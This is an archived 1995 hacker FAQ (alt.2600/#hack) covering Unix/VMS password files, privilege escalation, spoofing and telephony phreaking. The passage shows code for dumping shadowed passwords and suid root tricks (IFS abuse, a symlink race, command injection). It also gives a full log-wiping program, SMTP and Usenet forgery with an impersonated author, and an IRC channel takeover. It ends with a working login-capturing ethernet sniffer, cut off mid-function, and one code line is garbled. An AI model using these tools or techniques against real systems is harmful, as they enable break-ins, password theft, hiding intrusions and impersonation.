The Hacker's Encyclopedia 1998/hackers_encyclopedia.iso/zines/a_m/2600faq.txt

Text File | 2003-06-11 | 168.7 KB | 5,023 lines

Archive-name: alt-2600-faq
Posting-Frequency: Random
Last-Modified: 1995/03/18
Version: Beta .011


Editors Note: Welcome to Beta .011 of the alt.2600/#hack FAQ!

                The purpose of this FAQ is to give you a general
                introduction to the topics covered in alt.2600 and
                #hack.  No document will make you a hacker.

                If you have a questions regarding any of the topics
                covered in the FAQ, please direct it to alt.2600 or
                #hack.  Please do not e-mail me with them, I'm getting
                swamped.

                If your copy of the #hack FAQ does not end with the
                letters EOT on a line by themselves, you do not have
                the entire FAQ.

                If you do not have the entire FAQ, retrieve if via ftp
                from one of these sites:

                        rahul.net       /pub/lps
                        rtfm.mit.edu    /pub/usenet-by-group/alt.2600
                        ftp.clark.net   /pub/jcase







                                    The

                            alt.2600/#Hack F.A.Q.

                             Beta Revision .011

                        A TNO Communication Production

                                    by
                                  Voyager
                            [e-mail]

                                Sysop of
                             Hacker's Haven
                              [phone]

                            Greets go out to:

          A-Flat, Al, Aleph1, Bluesman, Cavalier, Cruiser, C-Curve,
          DeadKat, Disorder, Edison, Hobbit, KCrow, Major, Marauder,
          Novocain, Outsider, Presence, Rogue Agent, sbin, Taran King,
          Theora, ThePublic, Tomes and TheSaint.


                       We work in the dark
                       We do what we can
                       We give what we have
                       Our doubt is our passion,
                       and our passion is our task
                       The rest is the madness of art.

                                -- Henry James



Section A: Computers

  01. How do I access the password file under Unix?
  02. How do I crack Unix passwords?
  03. What is password shadowing?
  04. Where can I find the password file if it's shadowed?
  05. What is NIS/yp?
  06. What are those weird characters after the comma in my passwd file?
  07. How do I access the password file under VMS?
  08. How do I crack VMS passwords?
  09. How do I break out of a restricted shell?
  10. How do I gain root from a suid script or program?
  11. How do I erase my presence from the system logs?
  12. How do I send fakemail?
  13. How do I fake posts to UseNet?
  14. How do I hack ChanOp on IRC?
  15. How do I modify the IRC client to hide my real username?
  16. How to I change to directories with strange characters in them?
  17. What is ethernet sniffing?
  18. What is an Internet Outdial?
U 19. What are some Internet Outdials?
U 20. What is this system?
U 21. What are the default accounts for XXX ?
U 22. What port is XXX on?
U 23. What is a trojan/worm/virus/logic bomb?
U 24. How can I protect myself from viruses and such?
N 25. Where can I get more information about viruses?
  26. What is Cryptoxxxxxxx?
  27. What is PGP?
  28. What is Tempest?
  29. What is an anonymous remailer?
  30. What are the addresses of some anonymous remailers?
  31. How do I defeat copy protection?
  32. What is 127.0.0.1?
N 33. How do I post to a moderated newsgroup?


Section B: Telephony

  01. What is a Red Box?
  02. How do I build a Red Box?
U 03. Where can I get a 6.5536Mhz crystal?
  04. Which payphones will a Red Box work on?
  05. How do I make local calls with a Red Box?
  06. What is a Blue Box?
U 07. Do Blue Boxes still work?
  08. What is a Black Box?
U 09. What do all the colored boxes do?
  10. What is an ANAC number?
U 11. What is the ANAC number for my area?
  12. What is a ringback number?
U 13. What is the ringback number for my area?
  14. What is a loop?
U 15. What is a loop in my area?
U 16. What is a CNA number?
U 17. What is the telephone company CNA number for my area?
U 18. What are some numbers that always ring busy?
U 19. What are some numbers that temporarily disconnect phone service?
U 20. What is scanning?
  21. Is scanning illegal?
  22. Where can I purchase a lineman's handset?
  23. What are the DTMF frequencies?
  24. What are the frequencies of the telephone tones?
  25. What are all of the * (LASS) codes?
  26. What frequencies do cordless phones operate on?
N 27. What is Caller-ID?
N 28. What is a PBX?
N 29. What is a VMB?


Section C: Resources

U 01. What are some ftp sites of interest to hackers?
N 02. What are some fsp sites of interest to hackers?
  03. What are some newsgroups of interest to hackers?
U 04. What are some telnet sites of interest to hackers?
  05. What are some gopher sites of interest to hackers?
U 06. What are some World wide Web (WWW) sites of interest to hackers?
U 07. What are some IRC channels of interest to hackers?
U 08. What are some BBS's of interest to hackers?
U 09. What are some books of interest to hackers?
N 10. What are some videos of interest to hackers?
U 11. What are some mailing lists of interest to hackers?
  12. What are some print magazines of interest to hackers?
N 13. What are some e-zines of interest to hackers?
  14. What are some organizations of interest to hackers?
U 15. Where can I purchase a magnetic stripe encoder/decoder?
  16. What are the rainbow books and how can I get them?


Section D: 2600

  01. What is alt.2600?
  02. What does "2600" mean?
  03. Are there on-line versions of 2600 available?
  04. I can't find 2600 at any bookstores.  What can I do?
  05. Why does 2600 cost more to subscribe to than to buy at a newsstand?


Section E: Miscellaneous

U 01. What does XXX stand for?
  02. How do I determine if I have a valid credit card number?
  03. What bank issued this credit card?
U 04. What are the ethics of hacking?
  05. Where can I get a copy of the alt.2600/#hack FAQ?



U == Updated since last release of the alt.2600/#hack FAQ
N == New since last release of the alt.2600/#hack FAQ




Section A: Computers
~~~~~~~~~~~~~~~~~~~~

01. How do I access the password file under Unix?

In standard Unix the password file is /etc/passwd.  On a Unix system
with either NIS/yp or password shadowing, much of the password data
may be elsewhere.


02. How do I crack Unix passwords?

Contrary to popular belief, Unix passwords cannot be decrypted.  Unix
passwords are encrypted with a one way function.  The login program
encrypts the text you enter at the "password:" prompt and compares
that encrypted string against the encrypted form of your password.

Password cracking software uses wordlists.  Each word in the wordlist
is encrypted and the results are compared to the encrypted form of the
target password.

The best cracking program for Unix passwords is currently Crack by
Alec Muffett.  For PC-DOS, the best package to use is currently
CrackerJack.


03. What is password shadowing?

Password shadowing is a security system where the encrypted password
field of /etc/passwd is replaced with a special token and the
encrypted password is stored in a separate file which is not readable
by normal system users.

To defeat password shadowing on many (but not all) systems, write a
program that uses successive calls to getpwent() to obtain the
password file.

Example:

#include <pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}


04. Where can I find the password file if it's shadowed?

Unix                  Path                            Token
-----------------------------------------------------------------
AIX 3                 /etc/security/passwd            !
       or             /tcb/auth/files/<first letter   #
                            of username>/<username>
A/UX 3.0s             /tcb/files/auth/?/*
BSD4.3-Reno           /etc/master.passwd              *
ConvexOS 10           /etc/shadpw                     *
ConvexOS 11           /etc/shadow                     *
DG/UX                 /etc/tcb/aa/user/               *
EP/IX                 /etc/shadow                     x
HP-UX                 /.secure/etc/passwd             *
IRIX 5                /etc/shadow                     x
Linux 1.1             /etc/shadow                     *
OSF/1                 /etc/passwd[.dir|.pag]          *
SCO Unix #.2.x        /tcb/auth/files/<first letter   *
                            of username>/<username>
SunOS4.1+c2           /etc/security/passwd.adjunct    ##username
SunOS 5.0             /etc/shadow
                      <optional NIS+ private secure maps/tables/whatever>
System V Release 4.0  /etc/shadow                     x
System V Release 4.2  /etc/security/* database
Ultrix 4              /etc/auth[.dir|.pag]            *
UNICOS                /etc/udb                        *


05. What is NIS/yp?

NIS (Network Information System) in the current name for what was once
known as yp (Yellow Pages).  The purpose for NIS is to allow many
machines on a network to share configuration information, including
password data.  NIS is not designed to promote system security.  If
your system uses NIS you will have a very short /etc/passwd file that
includes a line that looks like this:

+::0:0:::

To view the real password file use this command "ypcat passwd"


06. What are those weird characters after the comma in my passwd file?

The characters are password aging data.  Password aging forces the
user to change passwords after a System Administrator specified period
of time.  Password aging can also force a user to keep a password for
a certain number of weeks before changing it.

]
] Sample entry from /etc/passwd with password aging installed:
]
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]

Note the comma in the encrypted password field.  The characters after
the comma are used by the password aging mechanism.

]
] Password aging characters from above example:
]
] M.z8
]

The four characters are interpreted as follows:

  1: Maximum number of weeks a password can be used without changing.
  2: Minimum number of weeks a password must be used before changing.
3&4: Last time password was changed, in number of weeks since 1970.

Three special cases should be noted:

If the first and second characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in.  The
passwd program will then remove the passwd aging characters, and the
user will not be subjected to password aging requirements again.

If the third and fourth characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. Password
aging will then occur as defined by the first and second characters.

If the first character (MAX) is less than the second character (MIN),
the user is not allowed to change his/her password.  Only root can
change that users password.

It should also be noted that the su command does not check the password
aging data.  An account with an expired password can be su'd to
without being forced to change the password.


                        Password Aging Codes
+------------------------------------------------------------------------+
|                                                                        |
| Character:  .  /  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  G  H |
|    Number:  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 |
|                                                                        |
| Character:  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  a  b |
|    Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
|                                                                        |
| Character:  c  d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v |
|    Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
|                                                                        |
| Character:  w  x  y  z                                                 |
|    Number: 60 61 62 63                                                 |
|                                                                        |
+------------------------------------------------------------------------+


07. How do I access the password file under VMS?

Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT.  However,
unlike Unix, most users do not have access to read the password file.


08. How do I crack VMS passwords?

Write a program that uses the SYS$GETUAF functions to compare the
results of encrypted words against the encrypted data in SYSUAF.DAT.

Two such programs are known to exist, CHECK_PASSWORD and
GUESS_PASSWORD.


09. How do I break out of a restricted shell?

On poorly implemented restricted shells you can break out of the
restricted environment by running a program that features a shell
function.  A good example is vi.  Run vi and use this command:

:set shell=/bin/sh

then shell using this command:

:shell


10. How do I gain root from a suid script or program?

1. Change IFS.

If the program calls any other programs using the system() function
call, you may be able to fool it by changing IFS.  IFS is the Internal
Field Separator that the shell uses to delimit arguments.

If the program contains a line that looks like this:

system("/bin/date")

and you change IFS to '/' the shell will them interpret the
proceeding line as:

bin date

Now, if you have a program of your own in the path called "bin" the
suid program will run your program instead of /bin/date.

To change IFS, use this command:

IFS='/';export IFS      # Bourne Shell
setenv IFS '/'          # C Shell
export IFS='/'          # Korn Shell


2. link the script to -i

Create a symbolic link named "-i" to the program.  Running "-i"
will cause the interpreter shell (/bin/sh) to start up in interactive
mode.  This only works on suid shell scripts.

Example:

% ln suid.sh -i
% -i
#


3. Exploit a race condition

Replace a symbolic link to the program with another program while the
kernel is loading /bin/sh.

Example:

nice -19 suidprog ; ln -s evilprog suidroot


4. Send bad input to the program.

Invoke the name of the program and a separate command on the same
command line.

Example:

suidprog ; id


11. How do I erase my presence from the system logs?

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
files that can be edited by hand with vi, you must use a program
specifically written for this purpose.

Example:

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}

void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;

    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {

     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}

void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;

     if ((pwd=getpwnam(who))!=NULL) {

        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }

    } else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Error.\n");
}


12. How do I send fakemail?

Telnet to port 25 of the machine you want the mail to appear to
originate from.  Enter your message as in this example:

 HELO bellcore.com
 MAIL FROM:[e-mail]
 RCPT TO:[e-mail]
 DATA

        Please discontinue your silly Clipper initiative.
 .
 QUIT

On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
line will not work.  Test by sending yourself fakemail first.

For more information read RFC 822 "Standard for the format of ARPA
Internet text messages."


13. How do I fake posts to UseNet?

Use inews to post.  Give inews the following lines:

 From:
 Newsgroups:
 Subject:
 Message-ID:
 Date:
 Organization:

For a moderated newsgroup, inews will also require this line:

 Approved:

Then add your post and terminate with <Control-D>.

Example:

 From: Eric S. Real
 Newsgroups: alt.hackers
 Subject: Pathetic bunch of wannabe losers
 Message-ID: <[e-mail]>
 Date: Fri, 13 Aug 1994 12:15:03
 Organization: Moral Majority

 A pathetic bunch of wannabe losers is what most of you are, with no
 right to steal the honorable title of `hacker' to puff up your silly
 adolescent egos. Get stuffed, get lost, and go to jail.

                                        Eric S. Real <[e-mail]>


 ^D

Note that many systems will append an Originator: line to your message
header, effectively revealing the account from which the message was
posted.


14. How do I hack ChanOp on IRC?

Find a server that is split from the rest of IRC and create your own
channel there using the name of the channel you want ChanOp on.  When
that server reconnects to the net, you will have ChanOp on the real
channel.  If you have ServerOp on a server, you can cause it to split
on purpose.


15. How do I modify the IRC client to hide my real username?

Get the IRC client from cs.bu.edu /irc/clients.  Look at the source
code files irc.c and ctcp.c.  The code you are looking for is fairly
easy to spot.  Change it. Change the username code in irc.c and the
ctcp information code in ctcp.c.  Compile and run your client.

Here are the diffs from a sample hack of the IRC client.  Your client
code will vary slightly depending on what IRC client version you are
running.

*** ctcp.c.old  Wed Feb 10 10:08:05 1993
--- ctcp.c      Fri Feb 12 04:33:55 1993
***************
*** 331,337 ****
        struct  passwd  *pwd;
        long    diff;
        int     uid;
!       char    c;

        /*
         * sojge complained that ircII says 'idle 1 seconds'
--- 331,337 ----
        struct  passwd  *pwd;
        long    diff;
        int     uid;
!       char    c, *fing;

        /*
         * sojge complained that ircII says 'idle 1 seconds'
***************
*** 348,354 ****
        if (uid != DAEMON_UID)
        {
  #endif /* DAEMON_UID */
!               if (pwd = getpwuid(uid))
                {
                        char    *tmp;

--- 348,356 ----
        if (uid != DAEMON_UID)
        {
  #endif /* DAEMON_UID */
!               if (fing = getenv("IRCFINGER"))
!                       send_ctcp_reply(from, ctcp->name, fing, diff, c);
!               else if (pwd = getpwuid(uid))
                {
                        char    *tmp;

*** irc.c.old   Wed Feb 10 06:33:11 1993
--- irc.c       Fri Feb 12 04:02:11 1993
***************
*** 510,516 ****
                malloc_strcpy(&my_path, "/");
        if (*realname == null(char))
                strmcpy(realname, "*Unknown*", REALNAME_LEN);
!       if (*username == null(char))
        {
                if (ptr = getenv("USER"))
                        strmcpy(username, ptr, NAME_LEN);
--- 510,518 ----
                malloc_strcpy(&my_path, "/");
        if (*realname == null(char))
                strmcpy(realname, "*Unknown*", REALNAME_LEN);
!       if (ptr = getenv("IRCUSER"))
!               strmcpy(username, ptr, NAME_LEN);
!       else if (*username == null(char))
        {
                if (ptr = getenv("USER"))
                        strmcpy(username, ptr, NAME_LEN);


16. How to I change to directories with strange characters in them?

These directories are often used by people trying to hide information,
most often warez (commercial software).

There are several things you can do to determine what these strange
characters are.  One is to use the arguments to the ls command that
cause ls to give you more information:

From the man page for ls:

    -F   Causes directories to be marked with a trailing ``/'',
         executable files to be marked with a trailing ``*'', and
         symbolic links to be marked with a trailing ``@'' symbol.

    -q   Forces printing of non-graphic characters in filenames as the
         character ``?''.

    -b   Forces printing of non-graphic characters in the \ddd
         notation, in octal.

Perhaps the most useful tool is to simply do an "ls -al filename" to
save the directory of the remote ftp site as a file on your local
machine.  Then you can do a "cat -t -v -e filename" to see exactly
what those bizarre little characters are.

From the man page for cat:

    -v  Causes non-printing characters (with the exception of tabs,
        newlines, and form feeds) to be displayed.  Control characters
        are displayed as ^X (<Ctrl>x), where X is the key pressed with
        the <Ctrl> key (for example, <Ctrl>m is displayed as ^M).  The
        <Del> character (octal 0177) is printed as ^?.  Non-ASCII
        characters (with the high bit set) are printed as M -x, where
        x is the character specified by the seven low order bits.

    -t  Causes tabs to be printed as ^I and form feeds as ^L.  This
        option is ignored if the -v option is not specified.

    -e  Causes a ``$'' character to be printed at the end of each line
        (prior to the new-line).  This option is ignored if the -v
        option is not set.

If the directory name includes a <SPACE> or a <TAB> you will need to
enclose the entire directory name in quotes.  Example:

cd "..<TAB>"

On an IBM-PC, you may enter these special characters by holding down
the <ALT> key and entering the decimal value of the special character
on your numeric keypad.  When you release the <ALT> key, the special
character should appear on your screen.  An ASCII chart can be very
helpful.

Sometimes people will create directories with some of the standard
stty control characters in them, such as ^Z (suspend) or ^C (intr).
To get into those directories, you will first need to user stty to
change the control character in qustion to another character.

From the man page for stty:

    Control assignments

    control-character C
                      Sets control-character to C, where control-character is
                      erase, kill, intr (interrupt), quit, eof, eol, swtch
                      (switch), start, stop or susp.

                      start and stop are available as possible control char-
                      acters for the control-character C assignment.

                      If C is preceded by a caret (^) (escaped from the
                      shell), then the value used is the corresponding con-
                      trol character (for example, ^D is a <Ctrl>d; ^? is
                      interpreted as DELETE and ^- is interpreted as unde-
                      fined).

Use the stty -a command to see your current stty settings, and to
determine which one is causing you problems.


17. What is ethernet sniffing?

Ethernet sniffing is listening (with software) to the raw ethernet
device for packets that interest you.  When your software sees a
packet that fits certain criteria, it logs it to a file.  The most
common criteria for an interesting packet is one that contains words
like "login" or "password."

Many ethernet sniffers are available, here are a few that may be on
your system now:

OS              Sniffer
~~              ~~~~~~~
HP/UX           nettl (monitor) & netfmt (display)
                nfswatch        /* Available via anonymous ftp           */
Irix            nfswatch        /* Available via anonymous ftp           */
                Etherman
SunOS           etherfind
                nfswatch        /* Available via anonymous ftp           */
Solaris         snoop
DOS             ETHLOAD         /* Available via anonymous ftp as        */
                                /* ethld104.zip                          */
                The Gobbler     /* Available via anonymous ftp           */
                LanPatrol
                LanWatch
                Netmon
                Netwatch
                Netzhack        /* Available via anonymous ftp at        */
                                /* mistress.informatik.unibw-muenchen.de */
                                /* /pub/netzhack.mac                     */
Macintosh       Etherpeek

Here is source code for an ethernet sniffer:

/* Esniff.c */

#include <stdio.h>
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>

#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h>

#define ERR stderr

char    *malloc();
char    *device,
        *ProgName,
        *LogName;
FILE    *LOG;
int     debug=0;

#define NIT_DEV     "/dev/nit"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
     struct CREC *Next,
                 *Last;
     time_t  Time;              /* start time */
     struct in_addr SRCip,
                    DSTip;
     u_int   SRCport,           /* src/dst ports */
             DSTport;
     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
     u_int   Length;            /* current data length */
     u_int   PKcnt;             /* # pkts */
     u_long  LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
      gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

  return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(3,TH_PUSH,'P');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');
  iobuf[6]=0;
  return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;

   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case IPPORT_SMTP:        p="smtp"; break;
     case IPPORT_FTP:         p="ftp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;
   }
   return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */
  return(p);
}

char *NOWtm()
{ time_t tm;
  time(&tm);
  return( Ptm(&tm) );
}

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  register struct CREC *CLtmp = \
        (struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
            break;
    CLr = CLr->Next;
  }
  return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \
}

#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
        switch(*dp) { \
            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
                        break; \
            case '\r': \
            case '\n': fprintf(LOG,"\n     : "); \
                        break; \
            default  : fprintf(LOG,"^%c", (*dp + 64)); \
                        break; \
        } \
     } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
     } \
     lastc = *dp++; \
  } \
  fflush(LOG); \
}

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
                        NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;
      PR_DATA(p,i);
      PR_DATA(d,dl);
    }

   fprintf(LOG,"\n-- \n");
   fflush(LOG);

   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
   else
    CLroot = CLe->Next;
   free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIME<tm) { \
     register struct CREC *CLe,*CLt = CLroot; \
     LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
     while(CLe=CLt) { \
       CLt=CLe->Next; \
       if(CLe->Time <tm) \
           END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
     } \
  } \
}

void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
 register struct ip     *ip;
 register struct tcphdr *tcph;

 { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

   if(EtherType < 0x600) {
     EtherType = *(u_short *)(cp + SZETH + 6);
     cp+=8; pktlen-=8;
   }

   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
      return;
 }

    /* ugh, gotta do an alignment :-( */
 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

 ip = (struct ip *)Packet;
 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
    return;
 tcph = (struct tcphdr *)(Packet + IPHLEN);

 if(!( (TCPD == IPPORT_TELNET) ||
       (TCPD == IPPORT_LOGINSERVER) ||
       (TCPD == IPPORT_FTP)
   )) return;

 { register struct CREC *CLm;
   register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
   register u_char *p = (u_char *)Packet;

   p += ((IPHLEN * 4) + (TCPOFF * 4));

 if(debug) {
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
 }

   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

      CLm->PKcnt++;

      if(length>0)
        if( (CLm->Length + length) < MAXBUFLEN ) {
          ADDDATA_NODE( CLm, p,length);
        } else {
          END_NODE( CLm, p,length, "DATA LIMIT");
        }

      if(TCPFL(TH_FIN|TH_RST)) {
          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
      }

   } else {

      if(TCPFL(TH_SYN)) {
         ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
      }

   }

   IDLE_NODE();

 }

}

/* signal handler
 */
void death()
{ register struct CREC *CLe;

    while(CLe=CLroot)
        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    fflush(LOG);
    if(LOG != stdout)
        fclose(LOG);
    exit(1);
}

/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function
 */
void do_it()
{
    int cc;
    char *buf;
    u_short sp_ts_len;

    if(!(buf=malloc(CHUNKSIZE)))
        Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
  {
    struct strioctl si;
    struct ifreq    ifr;
    struct timeval  timeout;
    u_int  chunksize = CHUNKSIZE;
    u_long if_flags  = NI_PROMISC;

    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
        Pexit(1,"Eth: nit open");

    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
        Pexit(1,"Eth: ioctl (I_SRDOPT)");

    si.ic_timout = INFTIM;

    if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp  = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
    si.ic_dp  = (char *)&chunksize;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof(ifr);
    si.ic_dp  = (char *)𝔦
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof(if_flags);
    si.ic_dp  = (char *)&if_flags;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
        Pexit(1,"Eth: ioctl (I_FLUSH)");
  }

    while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
